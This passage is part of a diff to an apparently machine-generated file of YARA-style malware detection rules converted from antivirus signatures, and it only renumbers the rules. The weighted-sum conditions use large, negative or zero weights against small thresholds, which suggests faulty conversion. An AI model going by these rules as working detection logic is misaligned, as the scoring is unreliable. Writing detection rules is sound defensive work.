_InfrastructureShared_21683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -261624,7 +276968,7 @@ rule _InfrastructureShared_20460{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29285+(#a_41_2 & 1)*11568+(#a_3b_3 & 1)*11829+(#a_00_4 & 1)*114+(#a_2d_6 & 1)*2305+(#a_6c_7 & 1)*28271+(#a_90_8 & 1)*11568+(#a_5a_9 & 1)*16762+(#a_61_10 & 1)*281+(#a_19_11 & 1)*1+(#a_09_12 & 1)*14637+(#a_34_13 & 1)*28271) >=15 } -rule _InfrastructureShared_20461{ +rule _InfrastructureShared_21684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 2b 00 21 " @@ -261672,7 +277016,7 @@ rule _InfrastructureShared_20461{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*284+(#a_45_2 & 1)*13121+(#a_45_3 & 1)*17713+(#a_38_4 & 1)*13874+(#a_37_5 & 1)*17464+(#a_33_6 & 1)*13111+(#a_37_7 & 1)*12341+(#a_35_9 & 1)*13361+(#a_37_10 & 1)*17730+(#a_37_12 & 1)*16690+(#a_45_13 & 1)*12597+(#a_36_14 & 1)*17209+(#a_6e_15 & 1)*27740+(#a_43_16 & 1)*12611+(#a_43_17 & 1)*12612+(#a_5f_18 & 1)*24937+(#a_00_19 & 1)*116+(#a_00_20 & 1)*49+(#a_2d_21 & 1)*9530+(#a_01_22 & 1)*-28589+(#a_00_23 & 1)*14637+(#a_00_25 & 1)*106+(#a_09_26 & 1)*11408+(#a_2d_27 & 1)*14637+(#a_7a_28 & 1)*24922+(#a_00_29 & 1)*51+(#a_41_30 & 1)*11568+(#a_00_32 & 1)*115+(#a_30_33 & 1)*11585+(#a_69_34 & 1)*28524+(#a_7a_35 & 1)*24841+(#a_2d_36 & 1)*31277+(#a_30_37 & 1)*11585+(#a_65_38 & 1)*29561+(#a_09_39 & 1)*11408+(#a_2d_40 & 1)*14637+(#a_39_41 & 1)*12378+(#a_00_42 & 1)*14637) >=6 } -rule _InfrastructureShared_20462{ +rule _InfrastructureShared_21685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -261691,7 +277035,7 @@ rule _InfrastructureShared_20462{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_00_3 & 1)*49+(#a_09_4 & 1)*11408+(#a_2d_5 & 1)*14637+(#a_75_6 & 1)*8302+(#a_4c_7 & 1)*19280+(#a_5a_8 & 1)*16697+(#a_6f_9 & 1)*8236+(#a_00_11 & 1)*45) >=12 } -rule _InfrastructureShared_20463{ +rule _InfrastructureShared_21686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 13 00 21 " @@ -261716,7 +277060,7 @@ rule _InfrastructureShared_20463{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_77_4 & 1)*14947+(#a_73_5 & 1)*25449+(#a_30_6 & 1)*11585+(#a_7a_7 & 1)*24922+(#a_90_8 & 1)*11568+(#a_65_9 & 1)*24932+(#a_19_10 & 1)*1+(#a_41_11 & 1)*11617+(#a_62_13 & 1)*27719+(#a_48_14 & 1)*8448+(#a_71_15 & 1)*29041+(#a_4f_16 & 1)*24943+(#a_6d_17 & 1)*29811+(#a_75_18 & 1)*29541) >=14 } -rule _InfrastructureShared_20464{ +rule _InfrastructureShared_21687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 1e 00 21 " @@ -261751,7 +277095,7 @@ rule _InfrastructureShared_20464{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*29269+(#a_63_2 & 1)*30063+(#a_65_3 & 1)*11877+(#a_2e_4 & 1)*25972+(#a_63_5 & 1)*30063+(#a_6e_6 & 1)*27756+(#a_75_7 & 1)*29541+(#a_6f_8 & 1)*25970+(#a_00_9 & 1)*99+(#a_41_11 & 1)*8448+(#a_00_13 & 1)*69+(#a_61_14 & 1)*11585+(#a_00_15 & 1)*101+(#a_2e_16 & 1)*28261+(#a_6e_17 & 1)*26996+(#a_5a_18 & 1)*16697+(#a_2d_19 & 1)*2305+(#a_00_21 & 1)*105+(#a_00_22 & 1)*55+(#a_65_23 & 1)*25902+(#a_00_25 & 1)*116+(#a_90_26 & 1)*11617+(#a_ec_27 & 1)*-12033+(#a_04_28 & 1)*0+(#a_04_29 & 1)*1260) >=30 } -rule _InfrastructureShared_20465{ +rule _InfrastructureShared_21688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -261772,7 +277116,7 @@ rule _InfrastructureShared_20465{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_7a_2 & 1)*24922+(#a_61_3 & 1)*281+(#a_03_4 & 1)*3+(#a_03_5 & 1)*3+(#a_03_6 & 1)*3+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1) >=3 } -rule _InfrastructureShared_20466{ +rule _InfrastructureShared_21689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -261793,7 +277137,7 @@ rule _InfrastructureShared_20466{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9284+(#a_02_2 & 1)*-29951+(#a_02_3 & 1)*-28539+(#a_ff_5 & 1)*7424+(#a_00_6 & 1)*1223+(#a_00_7 & 1)*2084+(#a_04_9 & 1)*0+(#a_c7_10 & 1)*-4989+(#a_24_11 & 1)*-30460+(#a_08_12 & 1)*-31792+(#a_3d_13 & 1)*400) >=3 } -rule _InfrastructureShared_20467{ +rule _InfrastructureShared_21690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 21 " @@ -261812,7 +277156,7 @@ rule _InfrastructureShared_20467{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_02_2 & 1)*-28550+(#a_2d_3 & 1)*23085+(#a_00_5 & 1)*116+(#a_00_7 & 1)*114+(#a_00_8 & 1)*48+(#a_2d_9 & 1)*23085+(#a_00_11 & 1)*111+(#a_50_12 & 1)*10109) >=2 } -rule _InfrastructureShared_20468{ +rule _InfrastructureShared_21691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,31 00 31 00 31 00 21 " @@ -261865,7 +277209,7 @@ rule _InfrastructureShared_20468{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*5120+(#a_5f_2 & 1)*20569+(#a_5f_3 & 1)*22273+(#a_72_4 & 1)*18036+(#a_61_5 & 1)*27756+(#a_6e_6 & 1)*273+(#a_63_7 & 1)*16686+(#a_6e_8 & 1)*25931+(#a_48_9 & 1)*20565+(#a_00_10 & 1)*20047+(#a_4f_11 & 1)*20481+(#a_00_12 & 1)*20047+(#a_4f_13 & 1)*20481+(#a_4f_14 & 1)*18499+(#a_41_15 & 1)*8448+(#a_5c_16 & 1)*9728+(#a_73_17 & 1)*18533+(#a_00_18 & 1)*77+(#a_72_19 & 1)*28265+(#a_75_20 & 1)*20594+(#a_41_21 & 1)*29793+(#a_50_23 & 1)*25966+(#a_74_24 & 1)*29293+(#a_6e_25 & 1)*19785+(#a_72_26 & 1)*28265+(#a_4d_27 & 1)*25927+(#a_3a_28 & 1)*19521+(#a_00_30 & 1)*116+(#a_09_32 & 1)*11408+(#a_2d_33 & 1)*14637+(#a_00_35 & 1)*99+(#a_2d_36 & 1)*2305+(#a_00_37 & 1)*57+(#a_01_38 & 1)*-28672+(#a_00_40 & 1)*92+(#a_39_41 & 1)*12297+(#a_5a_42 & 1)*16762+(#a_00_43 & 1)*101+(#a_00_44 & 1)*50+(#a_30_45 & 1)*300+(#a_03_46 & 1)*5+(#a_03_47 & 1)*4+(#a_03_48 & 1)*4) >=49 } -rule _InfrastructureShared_20469{ +rule _InfrastructureShared_21692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 17 00 21 " @@ -261894,7 +277238,7 @@ rule _InfrastructureShared_20469{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_3c_2 & 1)*29285+(#a_6e_3 & 1)*19822+(#a_43_4 & 1)*12630+(#a_41_5 & 1)*29793+(#a_01_6 & 1)*25454+(#a_56_7 & 1)*26987+(#a_74_8 & 1)*18236+(#a_65_9 & 1)*29281+(#a_52_10 & 1)*42+(#a_61_11 & 1)*24900+(#a_52_12 & 1)*28257+(#a_00_14 & 1)*46+(#a_2d_15 & 1)*2305+(#a_00_17 & 1)*110+(#a_00_18 & 1)*98+(#a_00_19 & 1)*87+(#a_90_20 & 1)*11617+(#a_00_22 & 1)*52) >=65 } -rule _InfrastructureShared_20470{ +rule _InfrastructureShared_21693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 0e 00 21 " @@ -261914,7 +277258,7 @@ rule _InfrastructureShared_20470{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637+(#a_00_6 & 1)*99+(#a_2d_7 & 1)*2305+(#a_00_8 & 1)*57+(#a_01_9 & 1)*-28672+(#a_00_11 & 1)*92+(#a_39_12 & 1)*12297+(#a_5a_13 & 1)*16762) >=40 } -rule _InfrastructureShared_20471{ +rule _InfrastructureShared_21694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -261935,7 +277279,7 @@ rule _InfrastructureShared_20471{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*18720+(#a_00_2 & 1)*2448+(#a_61_3 & 1)*281+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_03_6 & 1)*2+(#a_03_7 & 1)*2+(#a_03_8 & 1)*2+(#a_03_9 & 1)*2+(#a_03_10 & 1)*2+(#a_01_11 & 1)*1) >=4 } -rule _InfrastructureShared_20472{ +rule _InfrastructureShared_21695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 13 00 21 " @@ -261960,7 +277304,7 @@ rule _InfrastructureShared_20472{ ((#a_46_0 & 1)*16675+(#a_4d_2 & 1)*16716+(#a_c8_3 & 1)*26112+(#a_c8_5 & 1)*6144+(#a_00_6 & 1)*-256+(#a_4c_7 & 1)*12408+(#a_30_8 & 1)*30812+(#a_5c_9 & 1)*12408+(#a_78_10 & 1)*26214+(#a_72_11 & 1)*-32491+(#a_20_12 & 1)*29301+(#a_70_13 & 1)*11869+(#a_54_14 & 1)*29557+(#a_01_15 & 1)*5120+(#a_00_16 & 1)*50+(#a_00_18 & 1)*89) >=6 } -rule _InfrastructureShared_20473{ +rule _InfrastructureShared_21696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -261983,7 +277327,7 @@ rule _InfrastructureShared_20473{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*51+(#a_00_2 & 1)*144+(#a_00_4 & 1)*97+(#a_65_5 & 1)*26998+(#a_53_6 & 1)*25966+(#a_41_7 & 1)*11617+(#a_00_9 & 1)*92+(#a_00_11 & 1)*97+(#a_01_12 & 1)*-28672+(#a_45_13 & 1)*31337+(#a_61_14 & 1)*29801+(#a_45_15 & 1)*14336+(#a_65_16 & 1)*24933) >=17 } -rule _InfrastructureShared_20474{ +rule _InfrastructureShared_21697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 2a 00 21 " @@ -262033,7 +277377,7 @@ rule _InfrastructureShared_20474{ ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*7307+(#a_01_3 & 1)*50+(#a_01_4 & 1)*50+(#a_01_5 & 1)*50+(#a_01_6 & 1)*50+(#a_01_7 & 1)*50+(#a_02_8 & 1)*50+(#a_02_9 & 1)*50+(#a_02_10 & 1)*50+(#a_02_11 & 1)*50+(#a_02_12 & 1)*50+(#a_02_13 & 1)*50+(#a_02_14 & 1)*50+(#a_02_15 & 1)*50+(#a_02_16 & 1)*50+(#a_02_17 & 1)*50+(#a_02_18 & 1)*50+(#a_02_19 & 1)*50+(#a_02_20 & 1)*50+(#a_02_21 & 1)*50+(#a_02_22 & 1)*50+(#a_02_23 & 1)*50+(#a_02_24 & 1)*50+(#a_02_25 & 1)*50+(#a_02_26 & 1)*50+(#a_02_27 & 1)*50+(#a_02_28 & 1)*50+(#a_02_29 & 1)*50+(#a_02_30 & 1)*50+(#a_02_31 & 1)*50+(#a_02_32 & 1)*50+(#a_02_33 & 1)*50+(#a_02_34 & 1)*50+(#a_02_35 & 1)*50+(#a_02_36 & 1)*50+(#a_02_37 & 1)*50+(#a_81_38 & 1)*0+(#a_5c_39 & 1)*28021+(#a_00_40 & 1)*28252+(#a_01_41 & 1)*25376) >=50 } -rule _InfrastructureShared_20475{ +rule _InfrastructureShared_21698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 12 00 21 " @@ -262060,7 +277404,7 @@ rule _InfrastructureShared_20475{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*8285+(#a_6b_2 & 1)*25960+(#a_64_3 & 1)*27745+(#a_3a_4 & 1)*29989+(#a_20_5 & 1)*23925+(#a_41_6 & 1)*-13568+(#a_69_7 & 1)*14964+(#a_61_8 & 1)*26988+(#a_70_9 & 1)*24864+(#a_20_10 & 1)*20000+(#a_69_11 & 1)*25933+(#a_90_12 & 1)*12073+(#a_6e_13 & 1)*23666+(#a_78_14 & 1)*29806+(#a_00_15 & 1)*288+(#a_70_16 & 1)*20546+(#a_78_17 & 1)*11891) >=7 } -rule _InfrastructureShared_20476{ +rule _InfrastructureShared_21699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 33 00 21 " @@ -262111,7 +277455,7 @@ rule _InfrastructureShared_20476{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*95+(#a_00_3 & 1)*115+(#a_6d_4 & 1)*18176+(#a_63_5 & 1)*21072+(#a_2e_6 & 1)*25442+(#a_49_7 & 1)*30035+(#a_5f_9 & 1)*25970+(#a_74_10 & 1)*28499+(#a_76_11 & 1)*26656+(#a_04_12 & 1)*-28635+(#a_00_13 & 1)*2448+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_00_22 & 1)*1+(#a_84_23 & 1)*0+(#a_65_25 & 1)*0+(#a_20_26 & 1)*28530+(#a_65_27 & 1)*28233+(#a_3a_28 & 1)*29541+(#a_79_29 & 1)*29806+(#a_2e_30 & 1)*11897+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_87_40 & 1)*0+(#a_00_42 & 1)*119+(#a_00_44 & 1)*112+(#a_00_45 & 1)*119+(#a_00_47 & 1)*115+(#a_00_49 & 1)*114) >=3 } -rule _InfrastructureShared_20477{ +rule _InfrastructureShared_21700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 14 00 21 " @@ -262137,7 +277481,7 @@ rule _InfrastructureShared_20477{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_6f_3 & 1)*26144+(#a_6f_4 & 1)*25445+(#a_65_5 & 1)*28525+(#a_01_6 & 1)*26982+(#a_65_7 & 1)*25441+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_87_14 & 1)*0+(#a_00_16 & 1)*119+(#a_00_18 & 1)*112+(#a_00_19 & 1)*119) >=2 } -rule _InfrastructureShared_20478{ +rule _InfrastructureShared_21701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -262152,7 +277496,7 @@ rule _InfrastructureShared_20478{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_3 & 1)*108+(#a_00_5 & 1)*105+(#a_00_7 & 1)*92+(#a_00_9 & 1)*111) >=2 } -rule _InfrastructureShared_20479{ +rule _InfrastructureShared_21702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 12 00 21 " @@ -262179,7 +277523,7 @@ rule _InfrastructureShared_20479{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*24878+(#a_5a_2 & 1)*16762+(#a_61_3 & 1)*281+(#a_03_4 & 1)*7+(#a_03_5 & 1)*7+(#a_03_6 & 1)*7+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_01_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1) >=7 } -rule _InfrastructureShared_20480{ +rule _InfrastructureShared_21703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0e 00 21 " @@ -262202,7 +277546,7 @@ rule _InfrastructureShared_20480{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*8224+(#a_00_2 & 1)*2448+(#a_61_3 & 1)*281+(#a_03_4 & 1)*8+(#a_03_5 & 1)*8+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1) >=8 } -rule _InfrastructureShared_20481{ +rule _InfrastructureShared_21704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 35 00 21 " @@ -262258,7 +277602,7 @@ rule _InfrastructureShared_20481{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28776+(#a_36_2 & 1)*14848+(#a_6e_3 & 1)*28515+(#a_69_5 & 1)*12032+(#a_2e_6 & 1)*12853+(#a_00_7 & 1)*1+(#a_03_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_03_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*0+(#a_64_44 & 1)*8993+(#a_00_46 & 1)*111+(#a_4e_47 & 1)*7680+(#a_00_49 & 1)*66+(#a_00_51 & 1)*66+(#a_00_52 & 1)*101) >=1 } -rule _InfrastructureShared_20482{ +rule _InfrastructureShared_21705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 17 00 21 " @@ -262282,7 +277626,7 @@ rule _InfrastructureShared_20482{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_00_5 & 1)*104+(#a_00_6 & 1)*61+(#a_00_8 & 1)*37+(#a_00_10 & 1)*102+(#a_00_12 & 1)*100+(#a_00_13 & 1)*99+(#a_00_16 & 1)*120+(#a_00_17 & 1)*113+(#a_00_19 & 1)*104+(#a_5f_20 & 1)*29281+(#a_30_21 & 1)*11585+(#a_5a_22 & 1)*16762) >=4 } -rule _InfrastructureShared_20483{ +rule _InfrastructureShared_21706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 17 00 21 " @@ -262314,7 +277658,7 @@ rule _InfrastructureShared_20483{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_90_2 & 1)*11568+(#a_70_3 & 1)*28530+(#a_19_4 & 1)*1+(#a_61_5 & 1)*281+(#a_03_6 & 1)*2+(#a_03_7 & 1)*2+(#a_03_8 & 1)*2+(#a_03_9 & 1)*2+(#a_03_10 & 1)*2+(#a_03_11 & 1)*2+(#a_03_12 & 1)*2+(#a_03_13 & 1)*2+(#a_03_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_03_17 & 1)*2+(#a_03_18 & 1)*2+(#a_03_19 & 1)*2+(#a_a1_20 & 1)*0+(#a_32_21 & 1)*25188+(#a_62_22 & 1)*11620) >=3 } -rule _InfrastructureShared_20484{ +rule _InfrastructureShared_21707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1f 00 21 " @@ -262354,7 +277698,7 @@ rule _InfrastructureShared_20484{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25441+(#a_66_2 & 1)*25649+(#a_61_3 & 1)*12596+(#a_39_4 & 1)*14393+(#a_38_5 & 1)*14648+(#a_64_6 & 1)*24931+(#a_34_7 & 1)*26209+(#a_36_8 & 1)*25645+(#a_64_9 & 1)*14386+(#a_64_10 & 1)*14643+(#a_33_11 & 1)*14381+(#a_64_12 & 1)*9216+(#a_30_13 & 1)*26214+(#a_39_14 & 1)*13874+(#a_20_15 & 1)*27762+(#a_6c_16 & 1)*21249+(#a_00_17 & 1)*25708+(#a_3d_18 & 1)*15617+(#a_43_19 & 1)*29807+(#a_42_20 & 1)*11776+(#a_6d_21 & 1)*17198+(#a_64_22 & 1)*16686+(#a_65_23 & 1)*26991+(#a_61_24 & 1)*28015+(#a_72_25 & 1)*27745+(#a_6e_26 & 1)*26996+(#a_69_27 & 1)*24931+(#a_69_28 & 1)*28784+(#a_74_29 & 1)*16942+(#a_01_30 & 1)*1) >=3 } -rule _InfrastructureShared_20485{ +rule _InfrastructureShared_21708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 1c 00 21 " @@ -262390,7 +277734,7 @@ rule _InfrastructureShared_20485{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*25697+(#a_64_2 & 1)*11891+(#a_61_3 & 1)*29779+(#a_61_4 & 1)*28015+(#a_53_5 & 1)*25972+(#a_52_6 & 1)*29554+(#a_63_7 & 1)*28502+(#a_63_8 & 1)*30322+(#a_6c_9 & 1)*28737+(#a_69_10 & 1)*26996+(#a_5a_11 & 1)*8192+(#a_61_12 & 1)*24435+(#a_6e_13 & 1)*24941+(#a_20_14 & 1)*12589+(#a_5c_15 & 1)*25972+(#a_20_16 & 1)*25964+(#a_01_17 & 1)*-28562+(#a_3e_18 & 1)*26980+(#a_5f_19 & 1)*28001+(#a_5f_20 & 1)*25972+(#a_20_21 & 1)*30209+(#a_64_22 & 1)*27936+(#a_4d_23 & 1)*400+(#a_5d_24 & 1)*21306+(#a_25_25 & 1)*29477+(#a_6e_26 & 1)*824) >=2 } -rule _InfrastructureShared_20486{ +rule _InfrastructureShared_21709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 17 00 21 " @@ -262419,7 +277763,7 @@ rule _InfrastructureShared_20486{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*12320+(#a_74_2 & 1)*257+(#a_90_3 & 1)*26990+(#a_49_5 & 1)*19456+(#a_69_6 & 1)*25441+(#a_6d_7 & 1)*28515+(#a_00_8 & 1)*8563+(#a_6f_9 & 1)*8295+(#a_20_10 & 1)*25972+(#a_73_11 & 1)*25970+(#a_69_12 & 1)*29806+(#a_32_13 & 1)*29797+(#a_2d_14 & 1)*2305+(#a_00_15 & 1)*92+(#a_2c_17 & 1)*92+(#a_00_19 & 1)*45+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1) >=2 } -rule _InfrastructureShared_20487{ +rule _InfrastructureShared_21710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -262442,7 +277786,7 @@ rule _InfrastructureShared_20487{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_00_3 & 1)*117+(#a_00_4 & 1)*83+(#a_00_5 & 1)*55+(#a_00_6 & 1)*51+(#a_00_8 & 1)*67+(#a_00_10 & 1)*108+(#a_61_11 & 1)*11585+(#a_2c_12 & 1)*120+(#a_09_13 & 1)*6544+(#a_2d_14 & 1)*31277+(#a_39_15 & 1)*12378+(#a_00_16 & 1)*14637) >=17 } -rule _InfrastructureShared_20488{ +rule _InfrastructureShared_21711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 11 00 21 " @@ -262468,7 +277812,7 @@ rule _InfrastructureShared_20488{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_50_3 & 1)*827+(#a_6c_4 & 1)*28526+(#a_2d_5 & 1)*31277+(#a_5a_6 & 1)*16762+(#a_90_7 & 1)*9504+(#a_6e_8 & 1)*30066+(#a_73_9 & 1)*28265+(#a_49_10 & 1)*28271+(#a_09_11 & 1)*6544+(#a_2d_12 & 1)*31277+(#a_2d_13 & 1)*2305+(#a_30_14 & 1)*11585+(#a_01_15 & 1)*-28615+(#a_2d_16 & 1)*23085) >=6 } -rule _InfrastructureShared_20489{ +rule _InfrastructureShared_21712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -262483,7 +277827,7 @@ rule _InfrastructureShared_20489{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_3 & 1)*115+(#a_90_4 & 1)*11617+(#a_00_5 & 1)*62+(#a_00_7 & 1)*101) >=6 } -rule _InfrastructureShared_20490{ +rule _InfrastructureShared_21713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0f 00 21 " @@ -262503,7 +277847,7 @@ rule _InfrastructureShared_20490{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*111+(#a_00_4 & 1)*111+(#a_00_5 & 1)*102+(#a_00_6 & 1)*118+(#a_00_8 & 1)*104+(#a_00_10 & 1)*108+(#a_30_11 & 1)*300+(#a_2c_12 & 1)*2+(#a_2d_14 & 1)*2305) >=4 } -rule _InfrastructureShared_20491{ +rule _InfrastructureShared_21714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 20 00 21 " @@ -262544,7 +277888,7 @@ rule _InfrastructureShared_20491{ ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*12344+(#a_61_2 & 1)*21109+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1) >=10 } -rule _InfrastructureShared_20492{ +rule _InfrastructureShared_21715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -262561,7 +277905,7 @@ rule _InfrastructureShared_20492{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*69+(#a_00_3 & 1)*69+(#a_00_5 & 1)*53+(#a_00_6 & 1)*70+(#a_00_8 & 1)*66+(#a_00_9 & 1)*67+(#a_00_10 & 1)*66) >=3 } -rule _InfrastructureShared_20493{ +rule _InfrastructureShared_21716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -262577,7 +277921,7 @@ rule _InfrastructureShared_20493{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*53+(#a_00_4 & 1)*52+(#a_00_5 & 1)*70+(#a_00_6 & 1)*370+(#a_00_8 & 1)*51+(#a_00_10 & 1)*52) >=3 } -rule _InfrastructureShared_20494{ +rule _InfrastructureShared_21717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 13 00 21 " @@ 